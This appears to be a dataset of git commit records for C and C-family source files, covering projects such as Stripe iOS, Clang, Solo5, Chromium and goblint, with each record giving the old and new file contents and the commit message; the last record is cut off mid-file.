{"commit":"7b3e6a03279e775974dd43f7ff643f170fc08d1c","old_file":"Stripe\/STPLocalizationUtils.h","new_file":"Stripe\/STPLocalizationUtils.h","old_contents":"\/\/\n\/\/  STPLocalizedStringUtils.h\n\/\/  Stripe\n\/\/\n\/\/  Created by Brian Dorfman on 8\/11\/16.\n\/\/  Copyright © 2016 Stripe, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#define STPLocalizedString(key, comment) \\\n[STPLocalizationUtils localizedStripeStringForKey:(key)]\n\n@interface STPLocalizationUtils : NSObject\n\n\/**\n Acts like NSLocalizedString but tries to find the string in the Stripe\n bundle first if possible.\n *\/\n+ (nonnull NSString *)localizedStripeStringForKey:(nonnull NSString *)key;\n\n@end\n","new_contents":"\/\/\n\/\/  STPLocalizationUtils.h\n\/\/  Stripe\n\/\/\n\/\/  Created by Brian Dorfman on 8\/11\/16.\n\/\/  Copyright © 2016 Stripe, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface STPLocalizationUtils : NSObject\n\n\/**\n Acts like NSLocalizedString but tries to find the string in the Stripe\n bundle first if possible.\n *\/\n+ (nonnull NSString *)localizedStripeStringForKey:(nonnull NSString *)key;\n\n@end\n\nstatic inline NSString * _Nonnull STPLocalizedString(NSString* _Nonnull key, NSString * _Nullable __unused comment) {\n    return [STPLocalizationUtils localizedStripeStringForKey:key];\n}\n","subject":"Change to use inline function instead of macro.","message":"Change to use inline function instead of macro.\n\nThis makes FauxPas's localization checks work properly.\n","lang":"C","license":"mit","repos":"stripe\/stripe-ios,NewAmsterdamLabs\/stripe-ios,stripe\/stripe-ios,fbernardo\/stripe-ios,fbernardo\/stripe-ios,stripe\/stripe-ios,stripe\/stripe-ios,stripe\/stripe-ios,NewAmsterdamLabs\/stripe-ios,fbernardo\/stripe-ios,NewAmsterdamLabs\/stripe-ios,stripe\/stripe-ios,NewAmsterdamLabs\/stripe-ios,fbernardo\/stripe-ios"}
{"commit":"db053d481db41887771dccc52a61b7123f5011a2","old_file":"BRScroller\/BRScrollerUtilities.c","new_file":"BRScroller\/BRScrollerUtilities.c","old_contents":"\/\/\n\/\/  BRScrollerUtilities.c\n\/\/  BRScroller\n\/\/\n\/\/  Created by Matt on 7\/11\/13.\n\/\/  Copyright (c) 2013 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#include \"BRScrollerUtilities.h\"\n\n#if !defined(MIN)\n\t#define MIN(A,B)\t((A) < (B) ? (A) : (B))\n#endif\n\ninline bool BRFloatsAreEqual(CGFloat a, CGFloat b) {\n\tconst CGFloat d = a - b;\n\treturn (d < 0 ? -d : d) < 1e-4;\n}\n\ninline CGSize BRAspectSizeToFit(CGSize aSize, CGSize maxSize) {\n\tCGFloat scale = 1.0;\n\tif ( aSize.width > 0.0 && aSize.height > 0.0 ) {\n\t\tCGFloat dw = maxSize.width \/ aSize.width;\n\t\tCGFloat dh = maxSize.height \/ aSize.height;\n\t\tscale = dw < dh ? dw : dh;\n\t}\n\treturn CGSizeMake(MIN(floorf(maxSize.width), ceilf(aSize.width * scale)),\n\t\t\t\t\t  MIN(floorf(maxSize.height), ceilf(aSize.height * scale)));\n}\n","new_contents":"\/\/\n\/\/  BRScrollerUtilities.c\n\/\/  BRScroller\n\/\/\n\/\/  Created by Matt on 7\/11\/13.\n\/\/  Copyright (c) 2013 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#include \"BRScrollerUtilities.h\"\n\n#include <math.h>\n#include <sys\/param.h>\n\ninline bool BRFloatsAreEqual(CGFloat a, CGFloat b) {\n\tconst CGFloat d = a - b;\n\treturn (d < 0 ? -d : d) < 1e-4;\n}\n\ninline CGSize BRAspectSizeToFit(CGSize aSize, CGSize maxSize) {\n\tCGFloat scale = 1.0;\n\tif ( aSize.width > 0.0 && aSize.height > 0.0 ) {\n\t\tCGFloat dw = maxSize.width \/ aSize.width;\n\t\tCGFloat dh = maxSize.height \/ aSize.height;\n\t\tscale = dw < dh ? dw : dh;\n\t}\n\treturn CGSizeMake(MIN(floorf(maxSize.width), ceilf(aSize.width * scale)),\n\t\t\t\t\t  MIN(floorf(maxSize.height), ceilf(aSize.height * scale)));\n}\n","subject":"Fix includes to just what is needed.","message":"Fix includes to just what is needed.\n","lang":"C","license":"apache-2.0","repos":"Blue-Rocket\/BRScroller,Blue-Rocket\/BRScroller"}
{"commit":"b912fb63cd043f653cdba9abe0b5a1c4b5ebb9c0","old_file":"RxHyperdrive\/RxHyperdrive.h","new_file":"RxHyperdrive\/RxHyperdrive.h","old_contents":"\/\/\n\/\/  RxHyperdrive.h\n\/\/  RxHyperdrive\n\/\/\n\/\/  Created by Kyle Fuller on 13\/09\/2015.\n\/\/  Copyright © 2015 Cocode. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n\/\/! Project version number for RxHyperdrive.\nFOUNDATION_EXPORT double RxHyperdriveVersionNumber;\n\n\/\/! Project version string for RxHyperdrive.\nFOUNDATION_EXPORT const unsigned char RxHyperdriveVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <RxHyperdrive\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  RxHyperdrive.h\n\/\/  RxHyperdrive\n\/\/\n\/\/  Created by Kyle Fuller on 13\/09\/2015.\n\/\/  Copyright © 2015 Cocode. All rights reserved.\n\/\/\n\n@import Foundation;\n\n\/\/! Project version number for RxHyperdrive.\nFOUNDATION_EXPORT double RxHyperdriveVersionNumber;\n\n\/\/! Project version string for RxHyperdrive.\nFOUNDATION_EXPORT const unsigned char RxHyperdriveVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <RxHyperdrive\/PublicHeader.h>\n\n\n","subject":"Use Foundation in the umbrella header","message":"Use Foundation in the umbrella header","lang":"C","license":"mit","repos":"kylef\/RxHyperdrive,kylef\/RxHyperdrive"}
{"commit":"bbc8175c39f85465475c9f96048d8107848e3e6f","old_file":"include\/clang\/Serialization\/ASTSerializationListener.h","new_file":"include\/clang\/Serialization\/ASTSerializationListener.h","old_contents":"","new_contents":"\/\/===- ASTSerializationListener.h - Decl\/Type PCH Write Events -*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the ASTSerializationListener class, which is notified\n\/\/  by the ASTWriter when an entity is serialized.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLVM_CLANG_FRONTEND_AST_SERIALIZATION_LISTENER_H\n#define LLVM_CLANG_FRONTEND_AST_SERIALIZATION_LISTENER_H\n\n#include \"llvm\/System\/DataTypes.h\"\n\nnamespace clang {\n\nclass PreprocessedEntity;\n  \n\/\/\/ \\brief Listener object that receives callbacks when certain kinds of \n\/\/\/ entities are serialized.\nclass ASTSerializationListener {\npublic:\n  virtual ~ASTSerializationListener();\n  \n  \/\/\/ \\brief Callback invoked whenever a preprocessed entity is serialized.\n  \/\/\/\n  \/\/\/ This callback will only occur when the translation unit was created with\n  \/\/\/ a detailed preprocessing record.\n  \/\/\/\n  \/\/\/ \\param Entity The entity that has been serialized.\n  \/\/\/\n  \/\/\/ \\param Offset The offset (in bits) of this entity in the resulting\n  \/\/\/ AST file.\n  virtual void SerializedPreprocessedEntity(PreprocessedEntity *Entity,\n                                            uint64_t Offset) = 0;\n};\n\n}\n\n#endif\n","subject":"Add missing file from last commit","message":"Add missing file from last commit\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@120397 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"9451ae2576903f202a8fe6a065eb83a3aaa24de8","old_file":"seccure\/test\/test_gcrypt.c","new_file":"seccure\/test\/test_gcrypt.c","old_contents":"","new_contents":"\/*\n *  test_gcrypt - Copyright 2009 Slide, Inc.\n *\n * This library is free software; you can redistribute it and\/or \n * modify it under the terms of the GNU Lesser General Public License \n * as published by the Free Software Foundation; either version 2.1 of \n * the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful, \n * but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY \n * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License \n * for more details. \n *\n * You should have received a copy of the GNU Lesser General Public License \n * along with this library; if not, write to the \n * Free Software Foundation, Inc., \n * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\/\n\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include <glib.h>\n#include <gcrypt.h>\n\n\nvoid __test_mpi_scan()\n{\n\tconst char *order = \"ffffffffffffffffffffffffffffffffffffffffffffffffc7634d81f4372ddf581a0db248b0a77aecec196accc52973\";\n\tchar *outbuf;\n\tgcry_mpi_t point = gcry_mpi_new(0);\n\tint rc = 0;\n\tint n = 0;\n\n\trc = gcry_mpi_scan(&point, GCRYMPI_FMT_HEX, order, 0, NULL);\n\tg_assert(rc == 0);\n\n\tfprintf(stderr, \"OUT %s : %d\\n\", outbuf, n);\n}\n\nint main(int argc, char **argv)\n{\n\tint rc = 0;\n\tg_test_init(&argc, &argv, NULL);\n\n\t\/*\n\t * Test some basic mpi operations\n\t *\/\n\tg_test_add_func(\"\/mpi\/scan\", __test_mpi_scan);\n\n\trc = g_test_run();\n\tfflush(stderr);\n\treturn rc;\n}\n","subject":"Add a simple test to play with libgcrypt","message":"Add a simple test to play with libgcrypt\n","lang":"C","license":"lgpl-2.1","repos":"rtyler\/PyECC,rtyler\/PyECC,slideinc\/PyECC,slideinc\/PyECC"}
{"commit":"eda89b4fcfe6a529d2194cf54546a814731b67bc","old_file":"bindings\/muen\/muen-yield.c","new_file":"bindings\/muen\/muen-yield.c","old_contents":"\/*\n * Copyright (c) 2017 Contributors as noted in the AUTHORS file\n *\n * This file is part of Solo5, a sandboxed execution environment.\n *\n * Permission to use, copy, modify, and\/or distribute this software\n * for any purpose with or without fee is hereby granted, provided\n * that the above copyright notice and this permission notice appear\n * in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\n * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR\n * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS\n * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\n * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include \"..\/bindings.h\"\n#include \"muen-net.h\"\n\nbool solo5_yield(uint64_t deadline)\n{\n    bool rc = false;\n    do {\n        if (muen_net_pending_data()) {\n            rc = true;\n            break;\n        }\n        __asm__ __volatile__(\"pause\");\n    } while (solo5_clock_monotonic() < deadline);\n\n    if (muen_net_pending_data()) {\n        rc = true;\n    }\n\n    return rc;\n}\n","new_contents":"\/*\n * Copyright (c) 2017 Contributors as noted in the AUTHORS file\n *\n * This file is part of Solo5, a sandboxed execution environment.\n *\n * Permission to use, copy, modify, and\/or distribute this software\n * for any purpose with or without fee is hereby granted, provided\n * that the above copyright notice and this permission notice appear\n * in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\n * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR\n * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS\n * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\n * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include \"..\/bindings.h\"\n#include \"muen-net.h\"\n\nvoid solo5_yield(solo5_time_t deadline, solo5_handle_set_t *ready_set)\n{\n    solo5_handle_set_t tmp_ready_set = 0;\n\n    do {\n        for (solo5_handle_t i = 0U; i < MFT_MAX_ENTRIES; ++i) {\n            if (muen_net_pending_data(i))\n                tmp_ready_set |= 1UL << i;\n        }\n\n        if (tmp_ready_set > 0)\n            break;\n\n        __asm__ __volatile__(\"pause\");\n    } while (solo5_clock_monotonic() < deadline);\n\n    if (ready_set)\n        *ready_set = tmp_ready_set;\n}\n","subject":"Rework solo5_yield to support multiple devices","message":"muen: Rework solo5_yield to support multiple devices\n","lang":"C","license":"isc","repos":"mato\/solo5,mato\/solo5,Solo5\/solo5,Solo5\/solo5,mato\/solo5"}
{"commit":"0c4431765bbcdc19826068ce34c2de2b2fca22d5","old_file":"src\/items.h","new_file":"src\/items.h","old_contents":"","new_contents":"\/*------------------------------------------------------------------------------\n| NuCTex\t| items.h\n| Author\t| Benjamin A - Nullsrc\n| Created\t| 17 January, 2016\n| Changed\t| 17 January, 2016\n|-------------------------------------------------------------------------------\n| Overview\t| Declare item structures used in the code\n\\-----------------------------------------------------------------------------*\/\n#ifndef NULLSRC_ITEMS_HEADER\n#define NULLSRC_ITEMS_HEADER\n\ntypedef struct Item {\n\tchar* name;\n\tchar* description;\n\tint id;\n\tfloat size;\n\tfloat weight;\n\n\tint strength;\n\tint agility;\n\tint intelligence;\n\tint charisma;\n} Item;\n\ntypedef struct Inventory {\n\titem[26];\n} Inventory;\n","subject":"Add definition for item structs","message":"Add definition for item structs\n","lang":"C","license":"mit","repos":"Nullsrc\/nuctex,Nullsrc\/nuctex"}
{"commit":"e1829b05d441cd768a52ceb81af3a906ee6c219c","old_file":"src\/payload\/setup-object.h","new_file":"src\/payload\/setup-object.h","old_contents":"#ifndef RCR_LEVEL1PAYLOAD_SETUP_H_\n#define RCR_LEVEL1PAYLOAD_SETUP_H_\n\n#if defined(ARDUINO) && ARDUINO >= 100\n\t#include \"arduino.h\"\n#else\n\t#include \"WProgram.h\"\n#endif\n\nnamespace rcr {\nnamespace level1payload {\n\n\/\/ Setup the object. Swallow any errors.\ntemplate<typename T>\ninline void setup_object(T& obj, const char* error_message, const char* success_message) {\n  if (!obj.begin()) {\n    Serial.println(error_message);\n    \/\/ Swallow the error. Fault tolerance is required.\n  }\n  else {\n    Serial.println(success_message);\n  }\n  Serial.println();\n}\n\n} \/\/ namespace level1_payload\n} \/\/ namespace rcr\n\n#endif \/\/ RCR_LEVEL1PAYLOAD_SETUP_H_\n","new_contents":"#ifndef RCR_LEVEL1PAYLOAD_SETUP_H_\n#define RCR_LEVEL1PAYLOAD_SETUP_H_\n\n#if defined(ARDUINO) && ARDUINO >= 100\n\t#include \"arduino.h\"\n#else\n\t#include \"WProgram.h\"\n#endif\n\nnamespace rcr {\nnamespace level1payload {\n\n\/\/ Setup the object. Swallow any errors.\ntemplate<typename T, typename TArg>\ninline void setup_object(T& obj, TArg arg, const char* display_name) {\n  if (!obj.begin(arg)) {\n    Serial.print(\"ERROR: \");\n    Serial.print(display_name);\n    Serial.println(\" could not be found or setup.\");\n\n    \/\/ Swallow the error. Fault tolerance is required.\n  }\n  else {\n    Serial.print(\"Success: \");\n    Serial.print(display_name);\n    Serial.println(\" ready.\");\n  }\n  Serial.println();\n}\ntemplate<typename T>\ninline void setup_object(T& obj, const char* display_name) {\n  if (!obj.begin()) {\n    Serial.print(\"ERROR: \");\n    Serial.print(display_name);\n    Serial.println(\" could not be found or setup.\");\n\n    \/\/ Swallow the error. Fault tolerance is required.\n  }\n  else {\n    Serial.print(\"Success: \");\n    Serial.print(display_name);\n    Serial.println(\" ready.\");\n  }\n  Serial.println();\n}\n\n} \/\/ namespace level1_payload\n} \/\/ namespace rcr\n\n#endif \/\/ RCR_LEVEL1PAYLOAD_SETUP_H_\n","subject":"Add template overload for begin() arguments","message":"Add template overload for begin() arguments\n","lang":"C","license":"mit","repos":"nolanholden\/payload-level1-rocket,nolanholden\/geovis,nolanholden\/geovis,nolanholden\/geovis"}
{"commit":"cb808fbb23fbfcac41b9436a92d4a223b4d01fda","old_file":"views\/view_constants.h","new_file":"views\/view_constants.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_VIEW_CONSTANTS_H_\n#define VIEWS_VIEW_CONSTANTS_H_\n#pragma once\n\n#include \"views\/views_export.h\"\n\nnamespace views {\n\n\/\/ Size (width or height) within which the user can hold the mouse and the\n\/\/ view should scroll.\nextern const int kAutoscrollSize;\n\n\/\/ Time in milliseconds to autoscroll by a row. This is used during drag and\n\/\/ drop.\nextern const int kAutoscrollRowTimerMS;\n\n\/\/ Used to determine whether a drop is on an item or before\/after it. If a drop\n\/\/ occurs kDropBetweenPixels from the top\/bottom it is considered before\/after\n\/\/ the item, otherwise it is on the item.\nVIEWS_EXPORT extern const int kDropBetweenPixels;\n\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_VIEW_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_VIEW_CONSTANTS_H_\n#define VIEWS_VIEW_CONSTANTS_H_\n#pragma once\n\n#include \"views\/views_export.h\"\n\nnamespace views {\n\n\/\/ Size (width or height) within which the user can hold the mouse and the\n\/\/ view should scroll.\nVIEWS_EXPORT extern const int kAutoscrollSize;\n\n\/\/ Time in milliseconds to autoscroll by a row. This is used during drag and\n\/\/ drop.\nVIEWS_EXPORT extern const int kAutoscrollRowTimerMS;\n\n\/\/ Used to determine whether a drop is on an item or before\/after it. If a drop\n\/\/ occurs kDropBetweenPixels from the top\/bottom it is considered before\/after\n\/\/ the item, otherwise it is on the item.\nVIEWS_EXPORT extern const int kDropBetweenPixels;\n\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_VIEW_CONSTANTS_H_\n","subject":"Add VIEWS_EXPORT to autoscroll constants.","message":"Add VIEWS_EXPORT to autoscroll constants.\n\nReferenced by browser\/bookmarks\/bookmark_drop_info.cc, fixes link when in\ncomponent and incremental linking on Windows.\n\n\nBUG=\nTEST=Links in Component build mode\n\n\nReview URL: http:\/\/codereview.chromium.org\/7741017\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@98281 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"yitian134\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium"}
{"commit":"cc7b316872403c586627bd909bb596801e4a67cf","old_file":"test\/clear-similar-keys.c","new_file":"test\/clear-similar-keys.c","old_contents":"\n#include \"sphia-test.h\"\n\n\/\/ See #51\nstatic void\ntest_clear_similar_keys() {\n  sphia_set(sphia, \"key-1\", \"hello world\");\n  sphia_set(sphia, \"key-10\", \"hello world\");\n  assert(2 == sphia_count(sphia));\n  assert(0 == sphia_clear(sphia));\n  assert(0 == sphia_count(sphia));\n}\n\nTEST(test_clear_similar_keys);\n","new_contents":"\n#include \"sphia-test.h\"\n\n\/\/ See #51\nstatic void\ntest_clear_similar_keys() {\n  sphia_set(sphia, \"key-1\", \"hello world\");\n  sphia_set(sphia, \"key-10\", \"hello world\");\n  sphia_set(sphia, \"00000000\", \"hello world\");\n  sphia_set(sphia, \"000000000\", \"hello world\");\n  assert(4 == sphia_count(sphia));\n  assert(0 == sphia_clear(sphia));\n  assert(0 == sphia_count(sphia));\n}\n\nTEST(test_clear_similar_keys);\n","subject":"Update clear test to use keys longer than 8 chars","message":"Update clear test to use keys longer than 8 chars\n","lang":"C","license":"mit","repos":"sphia\/sphia,sphia\/sphia,sphia\/sphia"}
{"commit":"b2a14a335095b42f02edabdf96bdf6480da2c9f7","old_file":"tests\/regression\/13-privatized\/67-pthread_cond_wait.c","new_file":"tests\/regression\/13-privatized\/67-pthread_cond_wait.c","old_contents":"#include<pthread.h>\n#include<stdio.h>\n#include<unistd.h>\n#include <assert.h>\n\nint g;\n\npthread_mutex_t mut = PTHREAD_MUTEX_INITIALIZER;\npthread_cond_t cond = PTHREAD_COND_INITIALIZER;\n\nvoid* f1(void* ptr) {\n    pthread_mutex_lock(&mut);\n    g = 1;\n    pthread_cond_wait(&cond,&mut);\n    assert(g == 0); \/\/ TODO (no cond-flow support)\n    printf(\"g is %i\", g);\n    g = 0;\n    pthread_mutex_unlock(&mut);\n}\n\nvoid* f2(void* ptr) {\n    pthread_mutex_lock(&mut);\n    assert(g == 0); \/\/UNKNOWN!\n    g = 0;\n    pthread_cond_signal(&cond);\n    pthread_mutex_unlock(&mut);\n}\n\nint main(int argc, char const *argv[])\n{\n    pthread_t t1;\n    pthread_t t2;\n\n    pthread_create(&t1,NULL,f1,NULL);\n    sleep(1);\n    pthread_create(&t2,NULL,f2,NULL);\n\n    pthread_join(t1, NULL);\n    pthread_join(t2, NULL);\n\n    return 0;\n}\n","new_contents":"#include<pthread.h>\n#include<stdio.h>\n#include<unistd.h>\n#include <assert.h>\n\nint g;\n\npthread_mutex_t mut = PTHREAD_MUTEX_INITIALIZER;\npthread_cond_t cond = PTHREAD_COND_INITIALIZER;\n\nvoid* f1(void* ptr) {\n    pthread_mutex_lock(&mut);\n    g = 1;\n    pthread_cond_wait(&cond,&mut);\n    assert(g == 0); \/\/ TODO (no cond-flow support)\n    printf(\"g is %i\", g);\n    g = 0;\n    pthread_mutex_unlock(&mut);\n    return NULL;\n}\n\nvoid* f2(void* ptr) {\n    pthread_mutex_lock(&mut);\n    assert(g == 0); \/\/UNKNOWN!\n    g = 0;\n    pthread_cond_signal(&cond);\n    pthread_mutex_unlock(&mut);\n    return NULL;\n}\n\nint main(int argc, char const *argv[])\n{\n    pthread_t t1;\n    pthread_t t2;\n\n    pthread_create(&t1,NULL,f1,NULL);\n    sleep(1);\n    pthread_create(&t2,NULL,f2,NULL);\n\n    pthread_join(t1, NULL);\n    pthread_join(t2, NULL);\n\n    return 0;\n}\n","subject":"Add missing return to 13\/67","message":"Add missing return to 13\/67\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"40559fbb000bece563eb4b8c0fba875990ddf083","old_file":"libcef_dll\/cef_macros.h","new_file":"libcef_dll\/cef_macros.h","old_contents":"\/\/ Copyright (c) 2014 The Chromium Embedded Framework Authors. All rights\n\/\/ reserved. Use of this source code is governed by a BSD-style license that\n\/\/ can be found in the LICENSE file.\n\n#ifndef CEF_LIBCEF_DLL_CEF_MACROS_H_\n#define CEF_LIBCEF_DLL_CEF_MACROS_H_\n#pragma once\n\n#ifdef BUILDING_CEF_SHARED\n#include \"base\/macros.h\"\n#else  \/\/ !BUILDING_CEF_SHARED\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This should be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\n#endif  \/\/ !BUILDING_CEF_SHARED\n\n#endif  \/\/ CEF_LIBCEF_DLL_CEF_MACROS_H_\n\/\/ Copyright (c) 2014 The Chromium Embedded Framework Authors. All rights\n\/\/ reserved. Use of this source code is governed by a BSD-style license that\n\/\/ can be found in the LICENSE file.\n\n#ifndef CEF_LIBCEF_DLL_CEF_MACROS_H_\n#define CEF_LIBCEF_DLL_CEF_MACROS_H_\n#pragma once\n\n#ifdef BUILDING_CEF_SHARED\n#include \"base\/macros.h\"\n#else  \/\/ !BUILDING_CEF_SHARED\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This should be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\n#endif  \/\/ !BUILDING_CEF_SHARED\n\n#endif  \/\/ CEF_LIBCEF_DLL_CEF_MACROS_H_\n","new_contents":"\/\/ Copyright (c) 2014 The Chromium Embedded Framework Authors. All rights\n\/\/ reserved. Use of this source code is governed by a BSD-style license that\n\/\/ can be found in the LICENSE file.\n\n#ifndef CEF_LIBCEF_DLL_CEF_MACROS_H_\n#define CEF_LIBCEF_DLL_CEF_MACROS_H_\n#pragma once\n\n#ifdef BUILDING_CEF_SHARED\n#include \"base\/macros.h\"\n#else  \/\/ !BUILDING_CEF_SHARED\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This should be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\n#endif  \/\/ !BUILDING_CEF_SHARED\n\n#endif  \/\/ CEF_LIBCEF_DLL_CEF_MACROS_H_\n","subject":"Remove duplicate content in file.","message":"Remove duplicate content in file.","lang":"C","license":"bsd-3-clause","repos":"amikey\/chromium,amikey\/chromium,amikey\/chromium,amikey\/chromium,amikey\/chromium"}
{"commit":"62c8c410b0c5063bed0ea598a89387854667e14c","old_file":"Variable.h","new_file":"Variable.h","old_contents":"","new_contents":"using namespace std;\n\n        \tvector<int> Int;\n\t\tvector<string> Name;\n\nint CheckForInt(string ProcessInput)\n{\n\tif (ProcessInput.substr(0, 3) == \"int\")\n\t{\n\t\tint EqualLocation;\n\t\tint SemicolonLocation;\n\t\tstringstream Number;\n\t\tstringstream StringName;\n\t\tint FinalNumber;\n\t\tstring FinalName;\n\t\tEqualLocation = ProcessInput.find(\"=\");\n\t\tEqualLocation++;\n\t\tSemicolonLocation = ProcessInput.find(\";\");\n\t\tNumber << ProcessInput.substr(EqualLocation, SemicolonLocation);\n\t\tNumber >> FinalNumber;\n\t\tStringName << ProcessInput.substr(4, EqualLocation);\n\t\tStringName >> FinalName;\n\t\tcout << FinalName << \" = \" << FinalNumber << \"\\n\\n\";\n\t\tInt.push_back(FinalNumber);\n\t\tName.push_back(FinalName);\n\t}\n\treturn 0;\n}\n","subject":"Add integer interpret and register algorithm.","message":"Add integer interpret and register algorithm.\n\nThis algorithm uses vectors and standard C++ functions to register\nintegers into the program with name and value corresponding in order.\nThere's another algorithm that will make the program be able to retrieve\nthe results using the console out function. Which that algorithm is\nstill being tested and soon will be committed into the GitHub project\nwhen it is completed.\n","lang":"C","license":"mit","repos":"Project-CPP\/CPP-Interpreter"}
{"commit":"5041a2011a8f68aaf252f634ba5bd2bd198229b3","old_file":"src\/epollinterface.c","new_file":"src\/epollinterface.c","old_contents":"#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/epoll.h>\n\n#include \"epollinterface.h\"\n\n#define MAX_EPOLL_EVENTS 10\n\n\nvoid add_epoll_handler(int epoll_fd, struct epoll_event_handler* handler, uint32_t event_mask)\n{\n    struct epoll_event event;\n\n    event.data.ptr = handler;\n    event.events = event_mask;\n    if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, handler->fd, &event) == -1) {\n        perror(\"Couldn't register server socket with epoll\");\n        exit(-1);\n    }\n}\n\n\nvoid do_reactor_loop(int epoll_fd)\n{\n    struct epoll_event epoll_events[MAX_EPOLL_EVENTS];\n\n    while (1) {\n        int ii;\n        int num_events;\n\n        num_events = epoll_wait(epoll_fd, epoll_events, MAX_EPOLL_EVENTS, -1);\n        for (ii=0; ii < num_events; ii++ ) {\n            struct epoll_event_handler* handler = (struct epoll_event_handler*) epoll_events[ii].data.ptr;\n            handler->handle(handler, epoll_events[ii].events);\n        }\n\n    }\n\n}\n","new_contents":"#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/epoll.h>\n\n#include \"epollinterface.h\"\n\n#define MAX_EPOLL_EVENTS 1\n\n\nvoid add_epoll_handler(int epoll_fd, struct epoll_event_handler* handler, uint32_t event_mask)\n{\n    struct epoll_event event;\n\n    event.data.ptr = handler;\n    event.events = event_mask;\n    if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, handler->fd, &event) == -1) {\n        perror(\"Couldn't register server socket with epoll\");\n        exit(-1);\n    }\n}\n\n\nvoid do_reactor_loop(int 